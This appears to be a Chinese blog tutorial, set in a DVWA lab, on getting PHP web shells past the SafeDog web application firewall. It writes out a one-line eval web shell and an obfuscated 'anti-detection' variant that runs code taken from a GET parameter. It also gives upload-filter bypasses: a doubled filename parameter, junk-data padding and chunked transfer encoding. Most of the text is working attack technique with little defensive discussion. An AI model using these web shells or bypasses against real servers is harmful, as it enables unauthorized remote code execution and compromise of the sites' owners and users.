环境:安全狗,DVWA
我们上传一个一句话木马,被拦截
![](https://img-blog.csdnimg.cn/img_convert/8b41b8a3495e9f99b118a662f1d1b90e.png)
但是我们并不知道waf拦截我们的机制
所以我们可以采用控制变量法:
准备两个文件:1.txt 和1.php
文件中写入相同的内容:<?php eval($_POST['a']);
然后上传并抓包
1.txt可以成功上传:
![](https://img-blog.csdnimg.cn/img_convert/7858f161fd92b734871d842502c00d7a.png)
1.php上传失败:
![](https://img-blog.csdnimg.cn/img_convert/9f3ab18f883011040d46d056d05cb1c2.png)
那我们可以先猜测它是通过后缀名来判断的
接下来我们在判断是否是通过content-type来进行拦截
我们上传1.txt文件,抓包修改content-type为:application/octet-stream
![](https://img-blog.csdnimg.cn/img_convert/4dd8a41b8023456c8d368b88e1166b71.png)
修改了1.txt的content-type也可以成功上传
所以可以判断,WAF是根据文件名后缀来进行拦截的
1.利用双写filename=;进行绕过
filename=;filename="1.php"
上传1.php,然后抓包修改
上传成功:
![](https://img-blog.csdnimg.cn/img_convert/8e15c937c8a98045dfc239f0c8aaed83.png)
2.利用无用文件头绕过
在请求体前面添加大量无用数据(注意要和请求头空一行) 我们在请求包中插入足够多的无用数据,成功上传
![](https://img-blog.csdnimg.cn/img_convert/8fdcbe9a077ffc6b8e5987acc4367a0b.png)
3.利用分块传输绕过
这里我们需要安装分块传输的插件:
![](https://img-blog.csdnimg.cn/img_convert/f1a1b1e3b2857a9c6e8a56cd0f3af63f.png)
![](https://img-blog.csdnimg.cn/img_convert/97ac761746697c8a2eb6af98b4a1e2aa.png)
注意:针对最新的安全狗,该绕过方法已失效。 但是还是需要提一下这个方法,因为它也许能绕过其他的WAF
4.绕过内容检测
我们访问上传的一句话木马被拦截
![](https://img-blog.csdnimg.cn/img_convert/9853964efe7d50f3ad0045449a87d06e.png)
上传免杀一句话 bypass.php:
<?php
$name = $_GET[1];
$name = substr($name,0);
eval("echo 123;" . $name."echo 456; " );
?>
上传成功
![](https://img-blog.csdnimg.cn/img_convert/d2bb402980214c56a935c665a3943324.png)
访问成功
![](https://img-blog.csdnimg.cn/img_convert/8b248250489fee54dd437c716f4919a3.png)
那我们通过hackbar来验证,利用免杀一句话木马成功执行命令
![](https://img-blog.csdnimg.cn/img_convert/a5c4a0eb9e56058ab0c858576d6150b5.png)